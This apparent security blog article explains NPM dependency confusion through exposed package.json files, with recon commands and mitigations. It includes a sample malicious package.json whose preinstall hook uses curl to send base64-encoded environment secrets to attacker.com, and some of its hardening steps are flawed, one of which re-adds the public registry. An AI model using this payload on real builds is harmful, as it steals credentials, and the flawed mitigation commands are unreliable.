Listen to this Post

Introduction:
Modern web applications increasingly rely on JavaScript packages and third-party dependencies, often exposing internal metadata through misconfigured endpoints. As demonstrated by a recent bug bounty case, a publicly accessible `package.json` file may seem like a low‑risk information disclosure, but when combined with dependency confusion techniques, it can escalate into a critical supply chain vulnerability that compromises entire organizations.
Learning Objectives:
- Understand how exposed `package.json` files enable NPM dependency confusion attacks.
- Learn reconnaissance techniques to identify publicly accessible package manifests across multiple hosts.
- Implement mitigation strategies, including scope‑based package registries and CI/CD hardening, to block supply chain exploits.
1. Understanding Dependency Confusion & package.json Exposure
Dependency confusion occurs when a package manager (like NPM) fetches a package from a public registry instead of an internal private registry because the public version has a higher version number or because the internal package name is not reserved in the public registry. An exposed `package.json` can reveal internal package names (e.g., @company-internal/auth‑lib), which an attacker can then publish to the public NPM registry with a higher version, causing the build system to pull the malicious version.
What the exposed endpoint reveals:
– `dependencies` and `devDependencies` – including internal scoped packages.
– name, version, `scripts` – clues about internal infrastructure.
– `private: true` flag – if missing, indicates the package might be accidentally published.
Step‑by‑step guide to identify exposed `package.json`:
1. Recon with `ffuf` (Linux):
`ffuf -u https://target.com/FUZZ -w wordlist.txt -e .json -mr “{\”name\”:”`
This fuzzes common paths (/package.json, /static/package.json, /assets/package.json) and filters responses containing JSON name field.
2. Crawl JS files for endpoints (using `grep`):
`curl -s https://target.com/app.js | grep -Eo “(https?://)?[a-zA-Z0-9./?=_-]package\.json”`
3. Windows PowerShell alternative:
`Invoke-WebRequest -Uri “https://target.com/package.json” | Select-Object -ExpandProperty Content`
Then check if the response starts with { "name":.
Why this is dangerous:
Once an attacker collects internal package names, they can attempt to publish a malicious package with the same name to the public registry. Many CI/CD pipelines are configured to fall back to the public registry if the private one fails or if the version is newer.
2. Reconnaissance: Finding Exposed package.json Across Multiple Hosts
In the original post, the researcher fuzzed the same endpoint across 300+ hosts. This step scales the impact from a single misconfiguration to a corporate‑wide supply chain risk.
Automated multi‑host scanning (Linux/Bash):
List of hosts (hosts.txt) while read host; do curl -s -k "https://$host/package.json" | jq -r '.name // empty' && echo "FOUND: $host" done < hosts.txt
Using `httpx` (fast HTTP probing):
cat hosts.txt | httpx -path "/package.json" -status-code -content-length -match-string "name"
Windows (PowerShell) multi‑host check:
Get-Content hosts.txt | ForEach-Object {
try {
$response = Invoke-WebRequest -Uri "https://$_/package.json" -TimeoutSec 5
if ($response.Content -match '"name"') { Write-Host "Exposed: $_" }
} catch {}
}
What to look for in the output:
– `@company-name/internal-service` – scoped internal packages.
– `name”: “private-database-driver` – unscopped but non‑public names.
– `version”: “0.0.1` – low version indicates it may be unpublished externally.
- Exploiting Dependency Confusion for NPM Supply Chain Attack
Once you have an internal package name (e.g., @acme/auth‑middleware), the attack flow is:
Step 1 – Check if package exists on public NPM:
npm view @acme/auth-middleware
If it returns 404 (not found), the name is available.
Step 2 – Create a malicious `package.json`:
{
"name": "@acme/auth-middleware",
"version": "99.9.9",
"scripts": { "preinstall": "curl -s https://attacker.com/steal?env=$(env | base64)" }
}
Step 3 – Publish to public NPM:
npm publish --access public
Now any build process that resolves `@acme/auth-middleware` with public fallback will fetch version `99.9.9` (the malicious one) instead of the internal 0.0.1.
Step 4 – Exfiltration via environment variables:
The `preinstall` script runs before installation, capturing $NPM_TOKEN, $AWS_SECRETS, $DATABASE_URL, etc., and sends them to an attacker‑controlled endpoint.
Mitigation at this stage:
Organizations must configure `.npmrc` with @acme:registry=https://private-registry.company.com` and setalways-auth=true`. Additionally, use `npm install –no-package-lock` in CI to avoid fallback.
4. Mitigation Strategies for Organizations
To prevent dependency confusion from exposed package.json, implement the following controls:
A. Scope‑locked registries (`.npmrc` example):
@acme:registry=https://npm.company.com/
//npm.company.com/:_authToken=${NPM_PRIVATE_TOKEN}
always-auth=true
B. Block public fallback in CI/CD:
npm config set @acme:registry https://npm.company.com/ npm install --registry https://npm.company.com/ --no-audit
C. Scan for exposed package.json using custom tooling (Linux):
nuclei -l hosts.txt -t ~/nuclei-templates/exposures/configs/package-json.yaml
Example nuclei template:
id: package-json-exposure
info:
name: Publicly Accessible package.json
requests:
- method: GET
path:
- "{{BaseURL}}/package.json"
matchers:
- type: word
words:
- "\"name\""
- "\"dependencies\""
D. Harden NPM publish permissions:
- Require MFA for all package publishes.
- Use `npm access` to restrict public visibility:
`npm access restricted @acme/auth-middleware`
5. Hardening CI/CD Pipelines Against Supply Chain Attacks
Beyond dependency confusion, CI/CD pipelines must adopt zero‑trust for third‑party packages.
Step‑by‑step CI/CD hardening (GitHub Actions example):
- Use private NPM proxy (e.g., Verdaccio, Artifactory) – cache only approved packages.
2. Block public registry entirely in build agents:
echo "registry=https://internal-npm.company.com/" > .npmrc echo "registry=https://registry.npmjs.org/" >> .npmrc
3. Validate package integrity with `npm ci` using `package-lock.json` pinned to specific hashes.
4. Run dependency scanning before install:
npm audit --audit-level=critical
5. Use `npm install –ignore-scripts` to block `preinstall` / `postinstall` exploits, then run scripts in a sandboxed environment.
Windows (Azure DevOps) equivalent:
Set registry in .npmrc "@acme:registry=https://npm.company.com/" | Out-File -FilePath .npmrc -Encoding utf8 npm install --ignore-scripts
6. Advanced Fuzzing Techniques for JavaScript Endpoints
To proactively discover exposed `package.json` and other sensitive JS artifacts, combine web fuzzing with response analysis.
Using `ffuf` with custom matchers for JSON structure:
ffuf -u https://target.com/FUZZ -w ~/wordlists/js-endpoints.txt -e .json,.js -mr '"version":' -ac
`gau` (GetAllUrls) + `grep` for JS assets:
gau target.com | grep ".js$" | while read jsurl; do curl -s "$jsurl" | grep -E "package.json|.env|aws_key" done
Extract all endpoints from a JS file using `jq` (if JS contains embedded JSON):
curl -s https://target.com/bundle.js | grep -oP 'https?://[^"\s]+' | sort -u
Windows `findstr` alternative:
curl -s https://target.com/app.js | findstr /R "https\?://"
Why this matters:
JavaScript files often contain hardcoded API keys, internal hosts, and `package.json` references. The original researcher used this exact technique to move from “Medium” to “Critical”.
What Undercode Say
- Exposed metadata is as dangerous as exposed secrets – a `package.json` leak can lead to full supply chain compromise, not just version disclosure.
- Dependency confusion is a design flaw in public package managers – organizations must explicitly block fallback to public registries; trusting default behavior is a critical risk.
- Automated recon across all hosts amplifies the impact – a single misconfiguration becomes a company‑wide vulnerability when scaled with tools like `httpx` or
ffuf.
The incident highlights a recurring theme in modern AppSec: low‑severity findings (information disclosure) become critical when chained with ecosystem weaknesses. NPM’s eager resolution of the latest version, combined with the lack of namespace squatting protection, makes every exposed internal package name a potential entry point. Organizations must shift left by scanning for exposed manifests during CI/CD, implementing strict scope‑based registries, and treating `package.json` as sensitive infrastructure code. For bug bounty hunters, this case proves that thorough recon – especially fuzzing JavaScript files and common endpoints across all subdomains – can uncover supply chain vulnerabilities that traditional scanners miss.
Prediction
As software supply chain attacks become mainstream, we will see regulatory frameworks (like the upcoming EU Cyber Resilience Act) mandate explicit denial of public fallback for internal packages. AI‑based static analysis tools will automatically simulate dependency confusion by crawling exposed `package.json` files and attempting public publishes in isolated test environments. Meanwhile, attackers will shift from stealing credentials to poisoning dependencies, making the discovery of exposed package manifests a high‑priority bounty category (payouts will match RCE levels). The only sustainable defense is a zero‑trust package registry model where every dependency is pre‑approved and public sources are completely blocked – a shift that will take years but is already beginning with tools like Google’s `grafeas` and Sigstore.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Jarvis0p Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


